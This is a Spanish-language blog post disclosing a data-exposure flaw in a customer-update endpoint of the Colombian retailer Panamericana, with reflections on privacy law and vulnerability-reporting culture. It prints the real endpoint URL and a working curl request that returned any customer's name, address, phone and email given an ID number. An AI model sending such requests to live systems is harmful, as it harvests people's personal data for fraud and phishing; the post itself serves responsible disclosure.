Back to Posts

Los datos de los clientes de Panamericana estuvieron expuestos

El pasado 5 de abril fuí a Panamericana a comprar un libro, al momento de pagar, la cajera me hizo la invitación a actualizar mis datos para que me envien la factura electrónicamente. Me pareció una buena idea, así que le dije que sí. Me mostró un QR que escaneé con mi celular. La página que me abrió me pidió mi número de cédula, acto seguido cargó los datos que Panamericana tiene de mi. 🧐 Práctico pero sospechoso, no hubo un paso de verificación de identidad, ni de confirmación de que yo fuera un humano.

Cuando llegué a mi casa, abrí el link, hice un par de pruebas y confirmé mi sospecha 🤦‍♂️. Esa página retornaba los datos de cualquier persona que le pasara su número de cédula. En pocas palabras, cualquier persona que tenga el número de cédula de otra persona puede acceder a sus datos personales. Entre los datos disponibles estaban: nombre, dirección, teléfono, correo electrónico, celular. Información suficiente para hacer un phishing exitoso o peor.

La página en cuestión no tenía ningún tipo de protección como token de cross-site request forgery (CSRF), o token de sesión ni mucho menos un captcha. Por lo que cualquier persona o robot que conociera el link podría acceder a los datos de cualquier persona. El link era:

https://integraciones.panamericana.com.co/WebApiCRMClientesQR/api/v2/consultaCliente

Y con un curl como este se podía acceder a los datos de cualquier persona:

curl --location 'https://integraciones.panamericana.com.co/WebApiCRMClientesQR/api/v2/consultaCliente' \
--header 'Content-Type: application/json; charset=utf-8' \
--header 'Origin: https://integraciones.panamericana.com.co' \
--header 'DNT: 1' \
--header 'Connection: keep-alive' \
--header 'Referer: https://integraciones.panamericana.com.co/WebApiCRMClientesQR/ViewNatural' \
# Algunas otras cabeceras que no son necesarias
--data '{"dato":"1|UN NUMERO DE CEDULA"}'

Ese endpoint retornaba una respuesta similar a esta:

1|{"accion": null, "tipoIdentificacion":1, "numeroIdentificacion":"XXXXX", "digVerificacion":0, "nombreCliente":"JHON DOE", "email":"[email protected]", "emailFEL":"", "numeroSeguimiento":"", "fechaSeguimiento":"", "telefono":"xxxxxxxx", "celular": "xxxxxx", "direccion":"xxxxxxxx", "ciudad":0, "up":0, "fideliza":"S", "origen":null}

Con los datos de la respuesta se podría iniciar una campaña de phishing, aprovechando que muchos son clientes activos de Panamericana y que confían en la empresa. En fin, no es necesario explicar por qué es importante proteger los datos personales.

En la industria de software es común trabajar con datos personales, por eso es importante que los desarrolladores sepan cómo protegerlos. Pero no siempre es fácil, y errores como este pueden ocurrir. Por eso es una práctica común que las empresas tengan programas de bug bounty, donde se premia a los que encuentren vulnerabilidades en sus sistemas. En este caso, Panamericana no tiene un programa de bug bounty, pero sí tiene un correo electrónico de servicio al cliente. Yo hice el reporte al correo electrónico de servicio al cliente, no recibí respuesta alguna.

El día 11 de abril, El equipo de Panamericana publicó un cambio, en el que se agregó un captcha a la página. Sin embargo aún es posible acceder a los datos de cualquier persona, pero ahora es necesario que el usuario resuelva un captcha. Una mejora, pero no es suficiente.

Ahora bien, escribo este post, porque no recibí ninguna respuesta de Panamericana, ni siquiera un correo automático. Voy a ser sincero, 😅 yo esperaba al menos un bono de compra por encontrar la vulnerabilidad, pero no es lo que me importa. Sin embargo, arreglaron la vulnerabilidad, lo que es importante. Pero me quedan las siguientes reflexiones:

  1. 🔐 En Colombia las empresas manejan muchos datos personales, y ahora con la factura electrónica exigida por la DIAN las empresas necesitan cédula, nombre y correo electrónico. ¿Cómo guardan esa información? Acá no hay regulaciones que obliguen a las empresas a tener estándares como los que propone GDPR (General Data Privacy Regulation) de la Unión Europea o El California Privacy Act que fue legislado en el estado de California. Se debe tener un control sobre nuestros datos, sobre todo, cuando muchas brechas de seguridad se dan con empleados cómplices que filtran las bases de datos. Lo más cercano es el Habeas Data, pero es más económico pagar la multa que tener un buen equipo de Ingeniería.

  2. 👊💥 La cultura del reporte, acá reportar es mal visto. Las empresas y sobre todo los empleados se sienten atacados y reaccionan a la defensiva. En la industria de software la colaboración de grupos de Hacking Ético, Actividades de Pruebas de Penetración entre otros programas es lo que permite el mejoramiento continuo de los sistemas que prestan servicio a los usuarios finales. Es importante promover una relación con la comunidad en general para que las empresas escuchen y que uno como cliente o transeúnte pueda entablar un diálogo.

  3. ✍️ Las políticas de privacidad parecen ser un documento sin relevancia, los datos personales son algo crítico. Quedé muy molesto con el tratamiento qué Panamericana le dió a mi reporte, silencio y más silencio. Pero no es solo Panamericana, yo he reportado vulnerabilidades a otras empresas más pequeñas, y vulnerabilidades menos graves, y tratan estos incidentes como si no hubieran posibles daños colaterales. Los criminales usan los datos para realizar fraudes sofisticados que en algunos casos (como las famosas llamadas fraudulentas que hacen desde las cárceles) terminan con graves consecuencias.

  4. 🫵 Necesitamos más personas curiosas que pongan a prueba los sistemas de las empresas Colombianas, necesitamos más Hackers éticos, es preferible a que criminales tengan la delantera y exploten brechas de seguridad.

En fin, no obtuve un bono de compras pero queda la satisfación del deber cumplido. 😕

Si quieres saber más sobre brechas de seguridad y qué hacer cuando se tiene una recomiendo este artículo del creador de Have I been pwned, Troy Hunt: Data breach disclosure 101: How to succeed after you’ve failed.

Back to Posts

Posts by me

Los datos de los clientes de Panamericana siguen expuestos

El pasado 5 de abril encontré un link vulnerable en el proceso de actualización de datos de clientes en Panamericana, yo reliacé el reporte y a la fecha de 24 de abril del 2023 no he recibido comunicación alguna de parte de Panamericana.

Go Vuln the Golang Vulnerability Database

What is govuln? govuln is a new vulnerability database for looking your code for vulnerable packages and prevent supply chain attacks How to install the govulncheck cli govulncheck is the command line inferface for interacting with the …

Popular git config options

Yeah, another hightlight from HN. This time Julia Evans (I have her in my syndication list, but saw her post from HN), shared a very interesting list of pupular git config options, source